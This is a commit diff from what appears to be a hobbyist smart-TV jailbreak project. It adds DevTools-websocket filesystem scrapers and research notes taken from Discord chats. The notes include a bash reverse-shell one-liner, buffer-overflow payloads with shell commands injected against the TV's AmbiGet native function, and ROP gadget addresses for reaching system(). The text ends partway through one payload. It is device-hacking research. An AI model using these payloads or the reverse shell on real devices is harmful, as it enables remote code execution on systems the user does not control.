Yes... I forgot to commit during writeups etc.

This commit is contained in:
Emily 2020-04-29 16:58:59 +02:00
parent 4c755a99a8
commit a35bdff914
29 changed files with 1217 additions and 12 deletions

10
AUTHORS.md Normal file
View File

@ -0,0 +1,10 @@
# Reference
; for mentioned people
| Name | Discord | Github | Domain |
| --- | --- | --- | --- |
| HoLLy | HoLLy#2750 | https://github.com/holly-hacker/ ||
| Jan4V | Jan4V#0289 | https://github.com/Jan4V/ | https://substanc3.dev/ |
| Robin | robin_be#2125 | https://github.com/yugecin/ | https://robin.basdon.net/ |
| Shaddy | Shaddy#4422 | https://github.com/ShaddyDC/ ||
| Sunpy (me) | Emily \| Sunpy#5213 | https://github.com/EmilySunpy/ | https://osufx.com |

View File

@ -16,19 +16,10 @@ Turns out both worked as planned and I ended up making a [video](https://www.you
I will try to write new discoveries and ideas with results in the `research` folder.
## Info
Some javascript objects and functions are part of native code that extends of the opera browser.
When debugging and developing you should always use the python (3) module called `main.py`.
Note that when deploing to TV the python module is not required.
It only serves as a micro service to emulate some TV specific actions.
Only the root folder should be required.
## Details
Root: `www`
Entrypoint: `index.html`
# Project
## TV Installation
Research and better understanding of the system is first required before making anything. All research along the way has been documented in `research` and `files`.
Bellow does not apply (yet).
#### Current methods of installing includes
- USB Injection
- Websocket injection

View File

@ -0,0 +1,2 @@
# 12 December 2018
Not my greatest python work, but for a quick thing that I never had intended to release; it did its job.

View File

@ -0,0 +1,8 @@
{
"ws": "192.168.2.60:9222/devtools/page/4133cee9-ac82-4404-b886-9032aee57018",
"root": "file:///",
"max-filesize": "16000000",
"output": "filesystem/sys",
"file-meta": "filesystem-meta/sys",
"output-meta": "filesystem-meta/sys"
}

File diff suppressed because one or more lines are too long

View File

@ -0,0 +1,157 @@
import os
import json
from websocket import create_connection
import glob
import base64
with open("config.json", "r") as f:
config = json.load(f)
ws = create_connection("ws://{}".format(config["ws"]))
javascript_func = """
function load(file) {
let request = new XMLHttpRequest();
request.open('GET', file, false);
request.overrideMimeType('text\/plain; charset=x-user-defined');
request.send();
let data = request.responseText;
let output = "";
for (let i = 0; i < data.length; i++) {
let n = (data.charCodeAt(i) & 0xff).toString(16);
if (n.length == 1)
n = "0" + n;
output += n;
}
return output;
}
"""
struct = {
"id": 0,
"method": "Unset"
}
struct_params = struct.copy()
struct_params["params"] = {}
struct_enable_runtime = struct.copy()
struct_enable_runtime["method"] = "Runtime.enable"
struct_evaluate = struct_params.copy()
struct_evaluate["method"] = "Runtime.evaluate"
struct_evaluate["params"]["expression"] = "console.log(\"missing code\")"
struct_evaluate["params"]["objectGroup"] = "console"
struct_evaluate["params"]["includeCommandLineAPI"] = True
struct_evaluate["params"]["silent"] = False
struct_evaluate["params"]["contextId"] = 0
struct_evaluate["params"]["returnByValue"] = False
struct_evaluate["params"]["generatePreview"] = True
struct_evaluate["params"]["userGesture"] = True
struct_evaluate["params"]["awaitPromise"] = False
struct_compile_script = struct_params.copy()
struct_compile_script["method"] = "Runtime.compileScript"
struct_compile_script["params"]["expression"] = "console.log(\"missing code\")"
struct_compile_script["params"]["sourceURL"] = ""
struct_compile_script["params"]["persistScript"] = False
struct_compile_script["params"]["executionContextId"] = 0
def evalJavascript(script):
print("Executing: {}".format(script))
compile_msg = struct_compile_script.copy()
compile_msg["params"]["expression"] = script
send(compile_msg)
eval_msg = struct_evaluate.copy()
eval_msg["params"]["expression"] = script
data = send(eval_msg)
if data["result"]["result"]["type"] != "string":
return "undefined"
return data["result"]["result"]["value"]
def send(data, everything = False):
glob.message_id += 1
if "params" in data and "contextId" in data["params"]:
data["params"]["contextId"] = glob.context
if "params" in data and "executionContextId" in data["params"]:
data["params"]["executionContextId"] = glob.context
data["id"] = glob.message_id
ws.send(json.dumps(data))
if everything:
recv = [json.loads(ws.recv())]
while "id" not in recv[-1] or recv[-1]["id"] != data["id"]:
recv.append(json.loads(ws.recv()))
else:
recv = json.loads(ws.recv())
while "id" not in recv or recv["id"] != data["id"]:
recv = json.loads(ws.recv())
return recv
runtime = send(struct_enable_runtime, True)
for runtime_data in runtime:
if "method" in runtime_data and runtime_data["method"] == "Runtime.executionContextCreated" and "params" in runtime_data and "context" in runtime_data["params"] and "auxData" in runtime_data["params"]["context"] and "isDefault" in runtime_data["params"]["context"]["auxData"] and runtime_data["params"]["context"]["auxData"]["isDefault"]:
glob.context = runtime_data["params"]["context"]["id"]
print("Context set to ID: {}".format(glob.context))
evalJavascript(javascript_func)
remote_path = config["root"]
scrape_path = config["output"]
meta_path = config["file-meta"]
path_offset = []
def dig():
d = os.listdir(meta_path + "/" + "/".join(path_offset))
for p in d:
if os.path.isdir(meta_path + "/" + "/".join(path_offset) + "/" + p):
path_offset.append(p)
if not os.path.exists(scrape_path + "/" + "/".join(path_offset)):
os.makedirs(scrape_path + "/" + "/".join(path_offset))
dig()
path_offset.pop()
else:
#if os.path.exists(scrape_path + "/" + "/".join(path_offset) + "/" + p):
# print("Skipping existing file {}".format(scrape_path + "/" + "/".join(path_offset) + "/" + p))
# continue
#print("Reading file: {}".format(meta_path + "/" + "/".join(path_offset) + "/" + p))
with open(meta_path + "/" + "/".join(path_offset) + "/" + p, "r") as f:
meta_data = int(f.readline())
#if meta_data > int(config["max-filesize"]) or meta_data == 0:
# open(scrape_path + "/" + "/".join(path_offset) + "/" + p + "._maxsize", "w").close()
# continue
if meta_data < 16000000:
#print("Skipping...")
continue
print("Downloading... (expecting {} B)".format(meta_data))
data = evalJavascript("load(\"{}\")".format(remote_path + "/".join(path_offset) + "/" + p))
if data == "undefined":
with open(scrape_path + "/" + "/".join(path_offset) + "/" + p, "w") as f:
f.write("Error?")
continue
with open(scrape_path + "/" + "/".join(path_offset) + "/" + p, "wb") as f:
f.write(bytes([int(data[i:i + 2], 16) for i in range(0, len(data), 2)]))
dig()
ws.close()

View File

@ -0,0 +1,153 @@
import os
import json
from websocket import create_connection
import glob
with open("config.json", "r") as f:
config = json.load(f)
ws = create_connection("ws://{}".format(config["ws"]))
javascript_func = """
function load(file) {
let request = new XMLHttpRequest();
request.open('GET', file, false);
request.send();
return request.responseText;
}
"""
struct = {
"id": 0,
"method": "Unset"
}
struct_params = struct.copy()
struct_params["params"] = {}
struct_enable_runtime = struct.copy()
struct_enable_runtime["method"] = "Runtime.enable"
struct_evaluate = struct_params.copy()
struct_evaluate["method"] = "Runtime.evaluate"
struct_evaluate["params"]["expression"] = "console.log(\"missing code\")"
struct_evaluate["params"]["objectGroup"] = "console"
struct_evaluate["params"]["includeCommandLineAPI"] = True
struct_evaluate["params"]["silent"] = False
struct_evaluate["params"]["contextId"] = 0
struct_evaluate["params"]["returnByValue"] = False
struct_evaluate["params"]["generatePreview"] = True
struct_evaluate["params"]["userGesture"] = True
struct_evaluate["params"]["awaitPromise"] = False
struct_compile_script = struct_params.copy()
struct_compile_script["method"] = "Runtime.compileScript"
struct_compile_script["params"]["expression"] = "console.log(\"missing code\")"
struct_compile_script["params"]["sourceURL"] = ""
struct_compile_script["params"]["persistScript"] = False
struct_compile_script["params"]["executionContextId"] = 0
def evalJavascript(script):
print("Executing: {}".format(script))
compile_msg = struct_compile_script.copy()
compile_msg["params"]["expression"] = script
send(compile_msg)
eval_msg = struct_evaluate.copy()
eval_msg["params"]["expression"] = script
data = send(eval_msg)
if data["result"]["result"]["type"] != "string":
return "undefined"
return data["result"]["result"]["value"]
def send(data, everything = False):
glob.message_id += 1
if "params" in data and "contextId" in data["params"]:
data["params"]["contextId"] = glob.context
if "params" in data and "executionContextId" in data["params"]:
data["params"]["executionContextId"] = glob.context
data["id"] = glob.message_id
ws.send(json.dumps(data))
if everything:
recv = [json.loads(ws.recv())]
while "id" not in recv[-1] or recv[-1]["id"] != data["id"]:
recv.append(json.loads(ws.recv()))
else:
recv = json.loads(ws.recv())
while "id" not in recv or recv["id"] != data["id"]:
recv = json.loads(ws.recv())
return recv
def make_dir(relative_path):
if not os.path.exists(scrape_path + "/" + "/".join(path_offset) + "/" + relative_path):
os.makedirs(scrape_path + "/" + "/".join(path_offset) + "/" + relative_path)
def make_file(relative_path, size):
with open(scrape_path + "/" + "/".join(path_offset) + "/" + relative_path, "w") as f:
f.write(size)
def isRecursive(arr):
return len(set(arr)) != len(arr)
def handleResponse(code):
start = code.find("<script>")
while start != -1:
code = code[start + 8:]
start = code.find("<script>")
if not code.startswith("addRow("):
continue
focus = code.find(");</script>")
if focus == -1:
continue
args = code[7:focus].split(",")
for n in range(len(args)):
args[n] = args[n].strip('"')
name = args[0]
url = args[1]
is_dir = bool(int(args[2]))
size = int(args[3])
if url == "..":
continue
if is_dir:
make_dir(url)
#if url in ["proc", "sys"]:
# continue
path_offset.append(url)
if not isRecursive(path_offset):
handleResponse( evalJavascript("load(\"{}\")".format(remote_path + "/".join(path_offset))) )
else:
print("{} is recursive -> skipping!".format(remote_path + "/".join(path_offset)))
path_offset.pop()
else:
make_file(url, str(size))
runtime = send(struct_enable_runtime, True)
for runtime_data in runtime:
if "method" in runtime_data and runtime_data["method"] == "Runtime.executionContextCreated" and "params" in runtime_data and "context" in runtime_data["params"] and "auxData" in runtime_data["params"]["context"] and "isDefault" in runtime_data["params"]["context"]["auxData"] and runtime_data["params"]["context"]["auxData"]["isDefault"]:
glob.context = runtime_data["params"]["context"]["id"]
print("Context set to ID: {}".format(glob.context))
evalJavascript(javascript_func)
remote_path = config["root"]
scrape_path = config["output-meta"]
path_offset = []
handleResponse( evalJavascript("load(\"{}\")".format(remote_path + "/".join(path_offset))) )
ws.close()

View File

@ -0,0 +1,2 @@
# 27 April 2020
This is just a dump of javascript notes of how things progressed and what we tried

View File

@ -0,0 +1,119 @@
# Discord messages of interest
Development was a mix of text messages and voice chat, but here are some messages to indicate how we progressed over time.
> File: `tvapi_jsplugin.so` (288.38 KB)
> @Emily | Sunpy#5213
> @Emily | Sunpy#5213 `bash -i >& /dev/tcp/10.0.0.1/8080 0>&1`
> @HoLLy#2750
> AmbiSet, AmbiGet
> @Jan4V#0289
> "A"*1048
> @Jan4V#0289
> File: `mcul.zip` (1.23 MB)
> @Emily | Sunpy#5213
> /3rd/internet_browser/browser
> @Jan4V#0289
> File: `browser` (269.67 KB)
> @Emily | Sunpy#5213
> `touch /tmp/hollyisawesome.txt`
> `echo "jan is somewhat awesome but not as much as holly" > /tmp/hollyisawesome.txt`
> @HoLLy#2750
> 0x14108
> @Jan4V#0289
> /tmp/youtube_fore
> @Jan4V#0289
> "A"*1040
> 00043E8C
> AAAA
> 00014108
> 1040*"A" then 0x8C 0x3E 0x04 0x00 then 4 A's then 0x08 0x41 0x01 0x00
> @Jan4V#0289
> "A"*1048 then 0x3C 0x11 0x03 0x00
> @Jan4V#0289
> ![system(\"touch /tmp/youtube_fore\")](img/img0.png "img0")
> @Jan4V#0289
> File: `crashdump` (172.42 KB)
> @Emily | Sunpy#5213
> File: `crashdumps` (295.09 KB)
> @Emily | Sunpy#5213
> ![ErrorDetails](img/img1.png "img1")
> @Jan4V#0289
> `touch /tmp/jan4v.txt;exit;# then "A"*1013 then 0x30 0x61 0xB2 0x9E then "A"*4 then 0x08 0x41 0x01`
> @Jan4V#0289
> `"A"*1040 then 0x88 0x45 0xFF 0x9C then "A"*4 then 0x08 0x41 0x01`
> @Jan4V#0289
> ~/cmd
> @Jan4V#0289
> ``"A"*1036 then sh /tmp/ab;# then 0x3C 0x5F 0x01``
> with command in /tmp/ab
> @Jan4V#0289
> File: `crashdump` (177.15 KB)
> @Emily | Sunpy#5213
> sh /tmp/p_ 0x01 0x00
> `"A"*1040 then sh /tmp/ then 0x70 0x5F 0x01`
> @Jan4V#0289
> ```
> root@ed70c2b24182:/# echo "$(echo -e '\x01')"
>
> root@ed70c2b24182:/# touch "$(echo -e '\x01')"
> root@ed70c2b24182:/# ls
> ''$'\001' bin boot dev etc home lib lib32 lib64 libx32 media mnt opt proc root run sbin srv sys tmp usr var
> root@ed70c2b24182:/#
> ```
> @HoLLy#2750
> ![LDMFD SP!, {R4,R11,PC}](img/img2.png "img2")
> @Jan4V#0289
> ``[browser_base]>[bws_app][Default]``
> @Jan4V#0289
> usbDetectInit
> @Emily | Sunpy#5213
> ``"A"*1036 then sh /tmp/ab;# then 0x70 0x5F 0x01 0x00``
> @Jan4V#0289
> `df>/tmp/b`
> @Shaddy#4422
> ``;;;;w>/tmp/b``
> @Jan4V#0289
> 15F70
> @Jan4V#0289
> /3rd/lib/libxtvapi.so
> @Jan4V#0289
> File: `libxtvapi.so` (63.46 KB)
> @Emily | Sunpy#5213
> ``/3rd_rw/xtv_log_on``
> oh yeah if you find the package of the files you sent to people before, that might be useful
> @Jan4V#0289
> I can probably just rezip it and upload
> @Emily | Sunpy#5213

View File

@ -0,0 +1,38 @@
// Notes of things we tried
window.Service = new TV_JSP();
Service.tvServices.myPrintf("ls");
Service.tvServices.advMsg(""); // ???
new TV_JSP().tvServices.accessLocalStorage("read", "/tmp/jan4v.txt")
new TV_JSP().tvServices.AmbiGet(0,x)
new TV_JSP().tvServices.AmbiGet(0,"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA")
new TV_JSP().tvServices.AmbiGet(0,"touch /tmp/jan4v.txt;exit;#AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" +
String.fromCharCode(0x30) + String.fromCharCode(0x61) + String.fromCharCode(0xB2) + String.fromCharCode(0x9E) + "AAAA" +
String.fromCharCode(0x08) + String.fromCharCode(0x41) + String.fromCharCode(0x01)
)
new TV_JSP().tvServices.AmbiGet(0,"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" +
String.fromCharCode(0x88) + String.fromCharCode(0x45) + String.fromCharCode(0xFF) + String.fromCharCode(0x9C) + "AAAA" +
String.fromCharCode(0x08) + String.fromCharCode(0x41) + String.fromCharCode(0x01)
)
new TV_JSP().tvServices.AmbiGet(0,"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" +
"AAAAsh /tmp/" + String.fromCharCode(0x70) + String.fromCharCode(0x5F) + String.fromCharCode(0x01)
)
new TV_JSP().tvServices.AmbiGet(0,"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" +
"sh /tmp/ab;#" + String.fromCharCode(0x70) + String.fromCharCode(0x5F) + String.fromCharCode(0x01)
)
new TV_JSP().tvServices.AmbiGet(0,"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" +
" >/tmp/b" + String.fromCharCode(0x70) + String.fromCharCode(0x5F) + String.fromCharCode(0x01)
)

Binary file not shown.

After

Width:  |  Height:  |  Size: 2.1 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 50 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 1.5 KiB

View File

@ -0,0 +1 @@
# 28 April 2020

View File

@ -0,0 +1,303 @@
# Discord messages of interest
Development was a mix of text messages and voice chat, but here are some messages to indicate how we progressed over time.
> ok so I found some stuff :^)
> ```// write primitive 4bytes
> // looks relatively safe to call (crashes with a 1 deref in strstr)
> PC = 0x23BCC
> R4 = address+0x880
> R11 = data
>
> // system call (SP buffer)
> PC = 0x15F3C or 0x15F70 or 0x15FA4 or 0x15FD8 // (latter = safer)
> R4 = R11 = unused
>
> // system call (R4 buffer)
> // looks super safe
> PC = 0x11D48 or 0x14108
> R4 = address of ascii string for system()
> R11 = unused
>
> // system call (R4 buffer) but probably unsafe
> PC = 0x2F3DC (super unsafe) or 0x2F52C
> R4 = address of ascii string for system()
> R11 = unused
> ```
> these are the useful gadgets
> there seems to be a memory area that stays static between runs, and is in a good address range
> thus it might be possible to use the write primitive to write a buffer for system there
> @Jan4V#0289
> You will still have to catch me up with what I should do though xd
> @Emily | Sunpy#5213
> can you send me the js you have for the AmbiGet?
> I wanna make a nicer setup for this and we can try
> @Jan4V#0289
> ```js
> new TV_JSP().tvServices.AmbiGet(0,"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA